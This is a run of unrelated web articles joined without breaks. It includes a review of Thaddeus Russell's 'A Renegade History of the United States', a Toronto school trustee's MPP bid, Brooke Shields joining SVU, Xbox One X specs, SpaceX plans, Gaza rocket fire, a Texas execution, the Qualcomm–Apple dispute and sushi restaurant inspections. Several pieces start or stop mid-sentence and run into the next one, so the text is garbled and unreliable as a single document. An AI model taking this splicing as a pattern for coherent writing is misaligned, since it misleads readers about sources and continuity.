Breslow Rubin’s Worlds of Pain (1992), Jake Ryan’s and Charles Sackrey’s Strangers in Paradise: Academics from the Working Class (1995), Philadelphia Inquirer reporter Alfred Lubrano’s Limbo: Blue Collar Roots and White Collar Dreams (2005). In my opinion, no one understood working class culture better than George W Bush’s senior advisor Karl Rove. This is obvious from the convincing pseudo-working class persona Rove created for the former president – complete with folksy humor; unpolished delivery style; appeal to concrete black and white reasoning; and blanket rejection of “political correctness,” reading and other intellectual pursuits. With A Renegade History of the United States, Thaddeus Russell casts a whole new light on the rejection by America’s lower classes of puritanical middle class notions of responsibility, discipline and self-denial. I think it’s a great pity the book hasn’t received more attention in the progressive and so-called “alternative media. In my view, it’s even more important than Howard Zinn’s People’s History of the United States, because of its examination of social influences that cause the “disadvantaged” to reject middle class rules and convention. I think it’s an absolute must read for all progressive activists who are serious about organizing in and with blue collar and minority communities. Russell offers a unique perspective on the mechanism by which Americans expanded their personal freedoms after the American Revolution. Unlike Zinn’s People’s History and similar “working class” histories, Russell argues that most of the person freedoms we enjoy originated, not from political movements, but from the refusal of renegades, degenerates and discontents to accept the puritanical work ethic the founding fathers tried to foist on them. In other words, we should thank America’s drunkards, prostitutes, pirates, slackers, “shiftless” slaves and juvenile delinquents for the unprecedented levels of personal freedom Americans enjoy. I was really surprised by many parts of Russell’s book, especially where he describes the uptight, repressed social conservatives (including Martin Luther King) who led American campaigns for abolition, women’s suffrage, labor rights and civil rights. Despite their high profile campaigns for specific legal “rights,” the leaders of these movements worked nearly as hard trying to correct the “inappropriate” behavior of the masses they claimed to represent. Our Socially Conservative Founding Fathers Russell sets the stage by reminding us that the Puritans first left England due to the profound corruption in their homeland, as evidenced by liquor consumption, public holidays, communal feasts, sporting events and public festivals such as May Day. Most of the New World colonies they established glorified the ideal of hard work and strict frugality and scorned all forms of pleasure, including music, dancing, “luxuries” and colorful apparel. The founding fathers who laid out the workings of our republican form of government were all steeped in these influences. The writings of John Adams, Alexander Hamilton, Thomas Jefferson, John Madison, Benjamin Franklin universally condemn the lower classes for their corrupt, vicious, vile and depraved behavior. As Russell reveals, they are referring to behavior many of us would consider personal freedoms, such as drinking, dancing, non marital sex (especially between different races), prostitution and homosexuality (both were legal in the 18th century). The major concern, in most cases, was that this behavior interfered with their ability to attend work. Russell’s description of early industrialism is quite fascinating, as factory workers, not their bosses, decided when they would show up for work and when they would go home. The Internal Restraint of Citizenship One of the primary aims of the founding fathers, according to Russell, was to stem this libertine way of life by establishing a system of government that replaced the external controls of the monarchy with the internal restraint of citizenship. They were all part of a transatlantic movement, heavily influenced by British philosopher John Locke, which believed that “self rule” was the most effective method of instilling self-discipline. This comes out most clearly in Russell’s description of the Freedman’s Bureau schools the federal government established in the South following the Civil War. The purpose of the schools was to persuade ex-slaves that freedom meant renouncing pleasures such as music, dancing and unrestrained sexuality. Prostitutes and Ex-Slaves Challenge the Puritan Work Ethic The unquestioned heroes of A Renegade History of the United States are prostitutes and ex-slaves. In the 19th century any woman who owned property, had sex outside of marriage, performed or received oral sex, used birth control, wore make-up, perfume or stylish clothes could only be a prostitute. It was prostitutes who won these and other rights modern American women take for granted. When women were barred from most jobs and wives had no legal right to own property, prostitutes, especially in the Wild West, became so wealthy that they funded crucial irrigation and road building projects. Likewise when most states banned birth control in the early 1800s, prostitutes continued to provide a market for contraceptives that stimulated production and distribution. The importance of slaves and their descendents in the expansion of personal freedom relates to the tenacious manner in which they preserved a culture characterized by sensuous music, rhythms and dancing in a culture that condemned these activities as depraved and harmful to the work ethic. The Unique Culture of Slavery Russell presents a very different view of slavery that than is commonly depicted in public schools and the mainstream media. Sociologists have long recognized that the institution of slavery is incompatible with high quality work. Russell cites letters and diaries from 19th century slave masters expressing frustration about their slaves being “shiftless” and skillful in avoiding work. Plantation owners complained that harsh punishments, such as beatings, made slaves even more recalcitrant. George Washington (a prominent slave owner) wrote about the problem in a farming instruction manual he authored: “When an overlooker’s back is turned, the most of them will slight their work, or be idle altogether, in which case correction cannot retrieve either but often produces evils that are worse than the disease.” Most landowners seemed resigned to providing other inducements to work, such as allowing slaves free time for drinking, gambling, dancing and sexual adventures. Slave women weren’t bound by laws against fornication, adultery and promiscuity that white women were forced to live by. This meant they weren’t expected to be virgins at the time of marriage, nor were they scorned for engaging in extramarital sex. Teaching Ex-Slaves to Practice Self-Denial Following the Civil War, there was a strong expectation that slaves would renounce these pleasurable pastimes and embrace the work ethic as good American citizens. Many eagerly embraced the discipline and self-denial emancipation demanded of them. Many didn’t. Many relished the “freedom” from responsibility they enjoyed when a slave master looked after all their basic needs. In 1865 Congress confronted this dilemma by creating the Freedman’s Bureau to train ex-slaves how to become “good citizens.” Most enrolled eagerly, thinking they would be taught to read and write. Instead the classes focused on the ideals the founding fathers had promoted – frugality, self-denial and most importantly a love of work, even poorly paid work, as a source of virtue. Russell cites letters and interviews with ex-slaves who saw no point in being free if it meant they had to work harder than a slave did. Many northerners, who acquired southern plantations cheaply during Reconstruction, complained that ex-slaves made terrible workers. Not only did they come and go as they pleased, but they demanded days off and refused to work in inclement weather. Many ex-slaves also resisted pressure to adopt legal norms of marriage. By 1872, the Republican-controlled Congress became so frustrated by their inability to teach ex-slaves to practice self-denial and commit themselves to hard work, monogamy and discipline that they abolished the Freedman’s Bureau. King’s Campaign Against Un-Christian and Un-American Blacks For me, the most interesting section of A Renegade History of the United States is the chapter about Martin Luther King and his little known campaign to persuade so-called “bad niggers” to embrace the strict work ethic and cult of responsibility and sexless self-sacrifice that characterized the predominant culture. In 1957 Reverend King launched three projects simultaneously: the Southern Christian Leadership Conference (SCLC), to coordinate a nonviolent campaign to desegregate buses across the South, the Campaign for Citizenship to campaign for voting rights and a church-based campaign to rid African Americans of what King referred to as “un-Christian” and “un-American” habits. In 1957 he delivered a series of sermons condemning black people who led “tragic lives of pleasure and riotous living” (Problems of Personality Integration). In 1958 he wrote articles in Ebony and published his first book, Stride Towards Freedom, in which he claimed black poverty was as much due to laziness and lack of discipline and morality, as institutional racism. He also condemned rock and roll. The Role of Violence vs Nonviolence in the Civil Rights Movement Russell also weighs in on what has become a hot issue in the Occupy movement’s “diversity of tactics” debate. He lays out compelling evidence that 1) only a tiny minority of southern blacks participated in King’s nonviolent movement and 2) it was “bad niggers” and violence, rather than King’s nonviolent campaign, that won the first major civil rights victories in 1963. According to Russell’s careful review of Birmingham police records, the years between 1958 and 1963 saw a dramatic escalation of incidents in which black residents of both sexes punched, kicked, bit, stabbed and shot white residents who infringed on their freedoms, even in minor ways. He describes a number of these incidents in the book. He also points out that the most famous image of the civil rights movement – of Bull Connor spraying protestors with a fire hose – culminated a week of rioting during the first week of May 1963. These weren’t nonviolent protestors being hosed but black rioters who, over a week, injured nearly a dozen cops with rocks and bottles and who were starting to arm themselves with knives and guns. The official history books quibble over the identity of the black people Bull Connor attacked with fire hoses, describing them as “bystanders,” “onlookers,” “spectators,” or “people along the fringes.” Yet police records make it really clear that Connor was dealing with a full blown race riot his officers were unable to quell. Why the Chamber of Commerce Negotiated with King According to Russell, this record of increasing black violence in Birmingham and other southern cities casts King’s famous “Letter from the Birmingham Jail,” in a totally new light. In it he gives the Birmingham city fathers a clear choice: they can negotiate with him or face growing civil unrest. Russell also quotes a fascinating Wall Street Journal interview with Sidney Smyer, the president of the Birmingham Chamber of Commerce. Smyer brokered the deal with King and the SCLC. The Chamber of Commerce president talks of the desperation of the Montgomery business community to end the racial violence, owing to its extremely negative economic impactJust four months on the job, and he’s already looking for a new one. Neethan Shan, a newly elected trustee on the Toronto District School Board, will run under the NDP banner in the MPP race in Scarborough-Rouge River — a seat that became vacant with Liberal Bas Balkissoon’s sudden resignation from provincial politics. Recently elected Toronto public school board trustee Neethan Shan is now running as the NDP candidate for MPP in Scarborough-Rouge River. When Shan ran in a trustee byelection held in January, his opponents accused him of not being committed to the board and simply seeking any political seat, given he’s run for different levels of office seven times since 2003. He was elected once before, as trustee in York Region in 2006. However, less than a year on the job there, he took a leave to run, unsuccessfully, for MPP in Scarborough, and then returned to the board. He told the Star once the provincial byelection is called, he will take a leave from the Toronto District School Board. Article Continued Below “My loyalty is to the cause for education, and interest in the cause,” he said. “It’s the same area I’m running in for the byelection. If the population in this area feels that the provincial level is where I should be, then that’s (their) decision. “I love what I’m doing as a trustee; I’m perfectly happy with it … but the local population will decide if I should represent these issues at the provincial level.” In an email to fellow trustees, sent out last week, Shan said after two months as trustee he began “engaging in serious thought and deliberations” and two months later decided to seek the NDP nomination. “It was a difficult decision but it is a step I need to take in order to support the local community in its continued advocacy for social and economic justice. As the election is expected in the summer, I don't anticipate it having any significant impact, if any, with my role as the trustee.” He told the Star many people in the community urged him to run. Board Chair Robin Pilkey said she heard from Shan, who explained to her why he was running. “Trustees have to decide what they think is appropriate in certain cases,” she said, adding “I understand why he’s running, and he has told me that he will be able to keep doing both things” until the writ is issued. Article Continued Below Because of unusual circumstances — trustees Shaun Chen being elected to Ottawa and Michael Ford resigning to run for city councilor, and the deaths of two other trustees — the board has faced the disruption, and high cost, of four byelections. When asked if the board would have to call another, she quipped: “Please don’t speculate — my heart can’t take it.” The trustee byelection Shan ran in — which he won by a landslide — cost the board $250,000 alone. Shan said if elected, he would “hold the government accountable for cuts and advocate for changes needed in the school system … it’s going to be a challenge — this is a Liberal stronghold in some ways provincially — but I am taking up that challenge and there are people who feel I need to do this.” He said while fellow trustees “understand the situation” he’s in — “obviously the byelection timing is something I had not planned for” — not all were supportive of his decision “but generally there is support.” When asked about criticism about the number of times he has run, he noted that he’s always run against well-established politicians. As well, he said, “for people who have been on the margins, including myself as a racialized person” it’s important to take advantage of opportunities to be heard. “It may not look like that from the outside,” he added. Karla Webber-Gallagher, the Ontario NDP’s provincial secretary, said Shan will be acclaimed as the NDP’s Scarborough-Rouge River candidate at a May 26 meeting. “We’re excited to have Neethan as our candidate,” she said via email. “He’s been a fighter for Scarborough for many years and Scarborough-Rouge River needs an MPP who will stand up for the interests of this community, stand up for Scarborough families, and for high-quality education.” Where he's run: 2003: Ran unsuccessfully for York Region District School board in Markham. 2006: Elected trustee for two wards in Markham, York Region District School Board. 2007: Less than a year serving as trustee, took a leave and ran unsuccessfully for MPP in Scarborough-Guildwood for the NDP. He then returned to being a trustee. 2010: Ran unsuccessfully for Toronto city Ward 42, Scarborough-Rouge River. 2011: Ran unsuccessfully for Scarborough-Rouge River riding in provincial election, for the NDP, losing to Liberal Bas Balkissoon. 2014: Ran unsuccessfully for Ward 42, Scarborough-Rouge River in the Toronto municipal election. 2016: Won byelection for TDSB trustee, with the backing of the local unions, in Scarborough-Rouge River. 2016: After just four months on the job, he’ll be running for the NDP, seeking to replace Bas Balkisoon who recently resigned as MPP in Scarborough-Rouge River.She’s making the headlines! Brooke Shields is set to star in a recurring role on the upcoming 19th season of of Law & Order: Special Victims Unit, NBC revealed on Friday, August 11. While there are few known details about her character, the Suddenly Susan actress, 52, hinted that her role will cause trouble for New York’s finest and shake up Lieutenant Olivia Benson’s (Mariska Hargitay) world. “I play a very different character from any I have ever played,” Shields hinted in a statement shared with Us Weekly. “I’m excited to stir the SVU pot a bit.” Fans of the long-running NBC drama tweeted their excitement and guessed what role the Blue Lagoon star will be playing. brooke shields is gonna be a regular on SVU this season. i think this is god trying to make up for 2017 — danika?️‍? (@nasty_danika) August 11, 2017 One viewer surmised that Shields would portray Benson’s former boyfriend’s love interest! What if Brooke shields plays Elliot's old lover and Brooke rubs it in Olivia's face every chance she gets — lala (@marchriska) August 11, 2017 Another wondered if the Pretty Baby actress would be Benson’s sister. So excited to welcome @BrookeShields to #SVU but if she comes on and steals my dream role as @Mariska sister I'll be VERY disappointed. pic.twitter.com/ThAflbpaHl — Anne (@AnneBerger_54) August 11, 2017 Philip Winchester will also join the cast to reprise the role of his Chicago Justice character, Peter Stone, son of Law & Order’s Benjamin Stone (Michael Moriarty). Winchester will make his SVU debut halfway through the season as an ADA in New York, according to The Hollywood Reporter. The cast has already begun filming season 19. Hargitay, 53, celebrated the first day of filming this week with an Instagram photo of herself in character. Season 18 of the hit series ended with a deathly cliffhanger after Rafael Barba (Raul Esparza) and Benson struggled to bring a complicated case with untrustworthy witnesses to trial. Although justice was finally served in the end, Benson and Barba discover that five lives were taken in the aftermath. Law & Order: SVU season 19 premieres on NBC on Wednesday, September 12, at 9 p.m. ET. Sign up now for the Us Weekly newsletter to get breaking celebrity news, hot pics and more delivered straight to your inbox! Want stories like these delivered straight to your phone? Download the Us Weekly iPhone app now!Xbox has always been inferior to PlayStations. It always had less specifications than that of PlayStations. But now things have changed after Microsoft released its new generation of Xbox, initially named Project Scorpio, The XBOX ONE X! Six freaking teraflops of GPU power. The current “King” the PS4 Pro has 4.12 teraflops of GPU power. Though that doesn’t exactly convert directly to the game-play, it makes a huge difference in the overall gaming experience. So, how good is the new Xbox One X exactly? Xbox One X is rocking an 8-core CPU that is clocked at 2.3 GHz and an AMD GPU with 12 Gigabytes of GDDR5 RAM, with 326GB/s memory bandwidth compared to 218GB/s on the PS4 Pro. This might seem like a low speced machine for a PC gamer, but you must deal with it because this where we stand for console gaming. Microsoft announced that the new Xbox One X will be able to handle several games at 4K. Now this is where things get interesting. Until now, those consoles which delivered 4K gaming experience, weren’t real 4K gaming. Those were the upscaled version of 1080p gaming. Meaning, the game runs at 1080p resolution but the graphics processor quadruples the pixels and delivers it to the screen in 2160p resolution. But now the Xbox One X changes all of this and delivers full 4K immersive gaming experience. Though, Microsoft announced only a few games that that would run at full 4K, we will soon be getting patches for the games and they too will run at 4K. It is a console after all so we cannot be expecting all the games to run at 4K in 60 fps, unless you severely dial back the settings to its lowest. Doesn’t matter if you cannot play the game in 4K. The more powerful GPU will give you a better gaming experience whatsoever. All the nerdy spec charts aside, what additional real world features will I get if I upgrade to the Xbox One X? All of this coming from Microsoft directly, they claim that you will get smoother gameplay. A faster CPU will allow you to play your games without any hiccups. More memory enables the game to load bigger worlds and further horizons. The faster memory bandwidth allows faster load times in games. And again, a six teraflop GPU enables 4K environments and characters to become more realistic than ever, with more detail and smoother animations. Will Microsoft be able to deliver all of this? Probably, yes. But we will have to find that out, after Microsoft releases it worldwide on November 7. As far as the pricing goes, it comes with a sticker of $500 compared to that of the Xbox One which has a price tag of $250. You are definitely paying premium for all the extra features you get. Xbox One X in Nepal Though the console gaming community is small in Nepal, the release of the new Xbox One X has been exiting for those who actually care. Despite the release date of November 7, the Xbox One X will likely arrive in Nepal in Late December looking at the trend. Also, due to the addition of VAT, the Xbox will be costing around NRS 65000.Look at the chart above and you'll see two things happening. First, Apple has overtaken Symbian to become the top smartphone platform in the UK (with a 27 percent market share). And secondly, Android has grown 634 percent year-over-year to shoot into second place, with less than half a percentage point keeping it from the top spot (other reports already place it ahead). As you might expect, much of that growth isn't coming from folks switching from one smartphone to the other, but from new smartphone users -- Comscore found that 42 percent of all mobile users in the UK used a smartphone in May of this year, compared to just 27 percent a year ago. Of course, that also means that 58 percent of UK cellphone users are still potential smartphone users (to say nothing of those that still don't have a cellphone at all), so there's certainly still plenty up for grabs for all involved.If you want to peek at an ambitious list of spaceflight-related activities for the new year, take a look at some of Space Exploration Technologies Corp.'s objectives: Saturday morning's rescheduled launch of cargo to the station includes a test landing of the first stage of the company's Falcon 9 rocket on a solid surface – a football-field-scale floating landing pad, with the ungainly name of autonomous spaceport drone ship. One of the company's goals is to drive down launch costs by fielding a fully-reusable rocket with a short turn-around time between launches. Under NASA's commercial-crew program SpaceX's Dragon capsule faces two crucial tests of its launch-abort system in anticipation of carrying crews to and from the space station. The company's Falcon Heavy is expected to undergo its first test flight in the third quarter of this year. The rocket uses three Falcon 9 first stages, strapped side by side, with a second stage and payload topping the stage in the center of the pack. The rocket's ability to loft heavy payloads to low-Earth orbit will be comparable to NASA's late lamented Saturn V rocket, which sent astronauts to the moon. SpaceX is expected to complete its efforts to earn US Air Force certification to compete for launches of some of the nation's largest, most sophisticated military satellites. The company is working on a Mars Colonial Transporter system as well as new designs for space suits that "look like a 21st century space suit and work really well," wrote Elon Musk, SpaceX's founder, chief executive officer, and chief technology officer, during an on-line question and answer session on the online forum Reddit earlier this week. He said he hoped to present the architecture for the Mars transportation system and unveil the new suit design by the end of the year. And that's all addition to successfully launching satellites for customers and making cargo runs to and from the International Space Station for NASA. The list of to-dos highlights the remarkable progress the 12-year-old, started-from-scratch company has made since its first successful rocket launch in 2009, involving its first model, the Falcon 1. It's a pace of development and growth that turns heads among some observers. "In a relatively short period of time, SpaceX has made historic progress as a launch provider and helped prove how effective competition can be in the civil space industry," said Lt. Gen. Samuel Greaves, commander of the US Air Force's Space and Missile Systems Center in El Segundo, Calif., in a statement noting the progress the company has made in achieving Air Force certification. On one level, the statement could be read as an attempt to soften the news that SpaceX, based in neighboring Hawthorne, hadn't quite cleared the certification hurdles by the end of 2014, as previously hoped. On another level, however, it's an testament to how quickly the company has grown to be an increasingly influential force in the space-launch business. SpaceX has been aggressive in fielding new families of more-capable rockets and taking steps to show reusable rockets don't need to look like airplanes, according to Lance Erickson, a professor and program coordinator for commercial space operations at Embry-Riddle Aeronautical University in Daytona Beach, Fla. "They haven't been perfectly successful," he says, "but they haven't had any major mistakes along the way." Several factors have contributed to the company's success so far, analysts say, not the least of which is Mr. Musk's vision-driven approach as founder and CEO. He says that for the human species to survive, it must become a multi-planet species and so is working toward that goal. Moreover, his sense of timing helped. He founded SpaceX in 2002, as the country was reeling from the loss of the space shuttle Columbia and its seven-member crew but also had developed a wealth of rocketry talent, some of whom were attracted to the idea of working for
garments be plain”), is overshadowed by the fact that she continuously promotes an idealized vision of domestic Mormon life. When Mormons first came to Utah in 1847, Brigham Young, the second president of the LDS church, instructed his followers, “Beautify your gardens, your houses, your farms; beautify the city. This will make us happy, and produce plenty.” The direction was an early example of an animating Mormon sentiment that still plays out today: Outward appearances matter. “Your dress and grooming influence the way you and others act,” reads “For the Strength of Youth,” a widely distributed Mormon pamphlet. Tattoos are discouraged, as are multiple piercings. The LDS church’s website has an entire section devoted to grooming and dress, complete with makeup tutorials. “You are not required to wear makeup; however, wearing makeup can help you look your best,” it reads. “To minimize the appearance of dark circles under your eyes, use a yellow- or pink-toned concealer lighter than your skin tone. Use your fingers to gently apply and blend the color under your eyes, along the lash line.” Celebrity hairstylist and Kardashian inner-circler Jen Atkin, who was raised in the LDS church, describes the Mormon look as “pretty, relatable beauty, with nothing too out of reach...though they really know how to put on a face of makeup!” Mormonism “is and has always been very gender-organized,” says Megan Sanborn Jones, a professor at Brigham Young University (BYU) in Provo, Utah. The system “promotes a kind of biological determinism. If you’re a boy, you must want to be strong, play a sport, and then go on a mission. If you’re a girl, you must love makeup. Mormon girls, early on, are introduced to makeup and hairstyling and fashion.” It’s a fact that flies in the face of Young’s warning to women to “spend more time in moral, mental and spiritual cultivation, and less upon fashion and the vanities of the world,” which he gave just 20 years after offering up his arguably contradictory domestic instructions. “There’s been a tension throughout church history,” says Kate Holbrook, a specialist in women’s history in the church-history department of the Church of Jesus Christ of Latter-day Saints. “On the one hand, you’re taught that your appearance represents the church. But on the other, we’re taught to be modest and not to put too much time and resources into superficial things.”Your browser does not support HTML5 video tag.Click here to view original GIF Two years ago a NASA engineer named Mark Rober emailed us a halloween costume that used two iPads to make it look like you had a gaping hole in your stomach. This year the system is both more refined, and more gruesome. Advertisement Last year's costumes (dubbed Digital Dudz) were cool if, frankly, a little janky. They involved hand-cutting strategic pieces out of a shirt (like an eye, for instance), and then duct-taping your phone or tablet to the inside of it so it could play a looping animation through an Android or iOS app. This year, all of the Digital Dudz shirts have built-in pouches that can accommodate any sized phone. They velcro down, nice and tight, which takes a lot of the hassle out of it. Trying to un-duct-tape your phone every time you get a text kinda sucks a lot. The app is much-improved as well. In addition to there being more animations to choose from, this year all of the animations are now HD, unlocked, and completely free (no ads, either). This means you could buy one of the paired Digital Dudz shirts, or you could DIY yourself a really sweet costume for zero dollars. Our favorite new feature, though, has got to be the gut-ripping. You'll need a partner to make the magic happen, but as you can see in the video (or the GIF above), a jab to the back is picked up by your phone's accelerometer, which triggers the animation to play a hand tearing out your innards. Just, y'know, maybe don't use that one around little kids. Advertisement The shirts and "iWounds" are all 30 bucks, with more fully featured costumes (like dead pirates with still-beating hearts) going for $50. Hope people buy it, because Mark just quit his job at NASA. He plans to devote his new surplus of time to kicking these costumes up another level for next year, with more interactive features. Can't wait to see that. I wore the frantically-moving eye shirt last year to a party, and it was a major hit. If you go for any of these costumes this year, please leave a pic in the discussion below. [Digital Dudz]A Florida man was so intoxicated that he didn’t remember crashing his car into a store earlier this week, deputies said. Robert Johnson, 47, was allegedly speeding when he drove into a Teeki Hut in Fort Myers on Monday, WBBH reported. >> Read more trending news Deputies told WFTX-TV that Johnson "knocked out two street signs and caused debris to fly into two nearby vehicles, as well as two pedestrians.” The debris injured the pedestrians, although the injuries didn’t appear life-threatening, WFTX reported. >> Read more Floridoh! stories Johnson was found passed out in his car with cuts on his face and a piece of his scalp missing, WBBH reported. He had a blood-alcohol level of.417, which is five times the legal limit and can be deadly to some, according to WBBH. Johnson was charged with three counts of DUI. Read more from WBBHImage copyright AP Image caption A trail of smoke from rockets fired from Gaza towards Israel was seen above Gaza City Palestinian militants in the Gaza Strip have fired more than 30 rockets at southern Israel, Israeli officials say. An Israeli military spokesman said eight hit urban civilian areas and that a number of others were intercepted by the Iron Dome missile defence system. It was the heaviest barrage since the November 2012 conflict in Gaza ended. Islamic Jihad said it fired the rockets. Israeli warplanes responded by targeting Islamic Jihad positions. The group said its attacks were in retaliation for Tuesday's killing of three of its militants in an earlier Israeli air strike. "Our Mujahideen responded to the Zionist aggression by firing tens of rockets," they said in a statement. 'Heaviest attack since 2012' The barrage began in the early evening. Dozens of rockets could be seen being fired from the southern outskirts of Gaza City, according to an eyewitness. In southern Israel, sirens sounded and those in range were told to take shelter. One rocket landed near a library, another beside a petrol station. It is the heaviest attack in the last two years - the number of rockets fired at Israel, from Gaza, has been falling. Islamic Jihad said it carried out the attack in response to an Israeli raid on Tuesday which killed three of its fighters. Prime Minister Benjamin Netanyahu has warned that Israel would respond "with great force" against anyone threatening its security. The country's Iron Dome defence system intercepted at least three of the rockets. Israel's military responded with artillery fire, striking both the north and south of Gaza. Speaking to the BBC, the group's spokesman added "The rocket fired today came in response to the occupation aggression against us and does not mean the collapse of the ceasefire agreement [with Israel]." Another Gaza militant group, the Popular Resistance Committees, said they also fired several rockets. Witnesses, including a photographer for the AFP news agency said that there were nine Israeli retaliatory strikes throughout the coastal strip on facilities operated by Islamic Jihad's military wing, the al-Quds Brigades, and on targets belonging to Hamas's military wing. 'Code red' Late on Wednesday, "code red" sirens sounded across southern Israel after militants fired tens of rockets from northern Gaza in a co-ordinated attack, Israeli military spokesman Lt Col Peter Lerner said. One rocket exploded near a petrol station and another near a public library, a police spokesman said. Israeli troops initially responded by targeting "two terrorist locations" with artillery rounds, Col Lerner said. Residents in the Beit Hanoun area of Gaza said they saw an Israeli strike hit a rocket launcher squad. A statement by the al-Quds Brigades said the barrage was its "initial response" to the "crimes of the Zionist enemy in the occupied West Bank and Gaza Strip", the latest of which was the "assassination" of three of its members on Tuesday. The Israeli military said it had targeted the militants after they fired mortars at its troops. The al-Quds Brigades said the Israeli soldiers had crossed into the Gaza Strip. After Wednesday's rocket barrage, Israeli Prime Minister Benjamin Netanyahu said: "We won't flinch. We will continue to hurt those who try to hurt us." Image copyright AFP Image caption An Israeli military spokesman said eight rockets had hit urban civilian areas, including Sderot He said that the number of rockets this year has been the lowest in the last decade. Iranian-backed Islamic Jihad and other groups have sporadically fired rockets and mortars at Israel since the 2012 conflict ended, while the Hamas movement that governs Gaza has refrained from doing so. However, an Israeli military statement said it held Hamas "responsible for all attacks emanating" from the coastal territory. British Prime Minister David Cameron, on a visit to Israel, condemned the rocket attack. "They are a reminder once again of the importance of maintaining and securing Israel's future and the security threats that you face, and you have Britain's support in facing those security threats," he said. Israel pulled its troops and settlers out of the Gaza Strip, now run by Hamas, in 2005. But it maintains a naval and air blockade and restricts the overland movement of people and goods across their shared border.S.A. rapper Ray Jasper executed Ray Jasper, seen in an undated courtesy photo provided Saturday March 15, 2014, by the Texas Department of Criminal Justice, is scheduled to be executed Wednesday, March 19, 2014 for the Nov. 29, 1998 killing of 33-year-old David Alejandro. less Ray Jasper, seen in an undated courtesy photo provided Saturday March 15, 2014, by the Texas Department of Criminal Justice, is scheduled to be executed Wednesday, March 19, 2014 for the Nov. 29, 1998 killing... more Photo: Associated Press Photo: Associated Press Image 1 of / 84 Caption Close S.A. rapper Ray Jasper executed 1 / 84 Back to Gallery HUNTSVILLE — Ray Jasper, who was convicted 14 years ago of killing a man he intended to rob of recording equipment by slashing his throat, has been executed. Officials pronounced Jasper dead at 6:31 p.m. Wednesday, after a lethal dose of pentobarbital was injected into his system. Of the three men found guilty of David Alejandro's November 1998 slaying, Jasper, 33, was the only one to receive a death sentence. Co-defendants Steve Russell and Douglas Williams are each serving life sentences. Russell took a plea deal days after a jury sentenced Jasper to death and Williams was sentenced to life by a jury six months later. No one from Jasper's family was in Huntsville Wednesday to witness the execution. No one from the Alejandro family, who are against the death penalty, attended either — instead opting to spend the evening together in San Antonio. During his capital murder trial in 2000, Jasper, a local rapper, admitted to using a kitchen knife to cut David Alejandro's throat during what was supposed to be a recording session at the victim's studio. But Jasper also insisted that he wasn't responsible for Alejandro's death. It was instead the 25 stab wounds inflicted by Williams and Russell that caused the death, he asserted on the witness stand. In a seven-page letter Jasper recently sent to Gawker.com that he has described as his final statement, he continued to deflect responsibility. “I'm on death row and yet I didn't commit the act of murder,” he said in the letter, which has been touted by Gawker.com for having been read 1.7 million times. He is the third inmate executed in Texas this year. Read the full story at ExpressNews.com or in the Thursday edition of the San Antonio Express-News. mcasady@express-news.net Twitter: @MichelleCasadyQualcomm is considering asking for an import ban on iPhones coming into the United States in retaliation for Apple stopping royalty payments to the chip designer. According to "a person familiar with the company's strategy," Qualcomm will formally ask the US International Trade Commission to stop the iPhone, which is made in Asia, from entering the country, arguing that Apple is violating its patents. Whether it will actually send a letter and whether the ITC would approve such a request is far from certain, but Qualcomm needs to do something in response to Apple's decision to simply refuse to pay royalty payments on its patent. Last week, the chip mastermind was forced to lower its quarterly earnings by no less than $500m because of the dispute – a dispute caused, according to Apple CEO Tim Cook, by Qualcomm refusing to offer "fair terms," as it is required to do by law. Qualcomm, unsurprisingly, does not agree. "Apple has now unilaterally declared the contract terms unacceptable – the same terms that have applied to iPhones and cellular-enabled iPads for a decade," spat Qualcomm general counsel Don Rosenberg. "Apple's continued interference with Qualcomm's agreements to which Apple is not a party is wrongful and the latest step in Apple's global attack on Qualcomm." Cook made it clear he was prepared for a legal battle over the issue. And with Apple's vastly greater resources, he can afford to drag the fight out. Saw it coming Apple also foresaw that Qualcomm might try to go nuclear and ban iPhone sales, with Tim Cook saying on a call this week with analysts that he thought it was possible that he didn't believe any jurisdiction would go for it. "There's plenty of case law around that subject," he said. "But we shall see." In a statement last week, Apple also told The Register: "We've been trying to reach a licensing agreement with Qualcomm for more than five years but they have refused to negotiate fair terms. Without an agreed-upon rate to determine how much is owed, we have suspended payments until the correct amount can be determined by the court." The choice of the ITC would make sense for Qualcomm: the commission understands patent law, it has the authority to ban imports in the US, it works fast compared to jurisdictions and it would be a massive blow to Apple in its home country, especially with Apple expecting to announce a new iPhone this summer. Qualcomm also knows the power and impact of an ITC ban: its own chips were blocked back in 2009 when it was in a patent dispute with rival Broadcom. Qualcomm settled – a rare loss for the company. But chips and whole phones are very different things. And Apple beat back a similar challenge when it was having yet another patent fight – this time with Samsung. Mix it up Apple also has good reason to fight Qualcomm on the matter: it no longer exclusively uses the company's LTE modems in the iPhone, but a mix of Intel and Qualcomm modems. Who knows what it will use in future iPhone iterations. Apple is already suing Qualcomm on this very issue: at the start of the year it filed in Southern California court claiming it was charging excessive patent royalty fees. Something that Qualcomm was already unhappy about. On top of which, Qualcomm is also being sued by US trade watchdog the FTC for doing exactly what Apple claims: abusing its war chest of patents to strong-arm smartphone makers. Qualcomm's argument for a swift ITC resolution is likely to be that the dispute is not just between it and Apple but that Apple is disrupting its entire business and its third-party contracts. Apple does not pay Qualcomm patent royalties directly but instead pays the manufacturers that make the iPhone, and they then pay Qualcomm. Apple claims that Qualcomm is abusing its position to charge too much and is using those funds to help out its other corporate arms – something that would be illegal. But its main argument at the ITC will likely revolve around how the Qualcomm patents at issue are now effectively an industry standard and so should be treated differently. In effect, the whole thing is a multi-billion-dollar piece of aggressive negotiation on both sides. If Qualcomm can get an ITC ruling blocking iPhones from entering the US, it could be game over; if it fails, Apple will be emboldened in its strategy. ®CLOSE Armed with fanny packs full of thermometers and other gadgets, inspectors spend a couple hours investigating each kitchen or bar. Jacob Laxen Buy Photo Sushi Zensai customers dine on the Samurai Fiesta, left, and the Heart Attack Roll, right, during dinner at the restaurant in 2010. (Photo: Rich Abrahamson/Coloradoan file photo)Buy Photo Update as of Aug. 15, 2017: Sushi Zensai's Fort Collins location improved in a follow-up inspection Aug.10. The only citation listed in the follow-up inspection was grime found on the ice machine. Read the results of Loveland's follow-up inspection. Original story posted Aug. 2, 2017: Local sushi chain has multiple health violations A local sushi chain racked up multiple health code violations at both its stores in July. Sushi Zensai restaurants in Fort Collins and Loveland each received inadequate ratings from Larimer County inspectors during routine surprise reviews in the month. Inadequate is the lowest of five possible one-word ratings given, a designation given on about two percent of all inspections. Moldy peppers, dirty cooking utensils, a propped open kitchen back door and undocumented seafood sourcing were among violations cited on July 26 at the 223 Linden St. location in Old Town Fort Collins. Raw chicken and cabbage being stored on the floor, employees re-using single-use gloves, plumbing issues and floors stained with soda syrups were among items cited on July 18 at the 198 E 29th St. location in Loveland. The restaurant was also marked for listing crab on its menu but using a fish-based imitation crab instead. More: Stanley Hotel restaurant gets 3rd 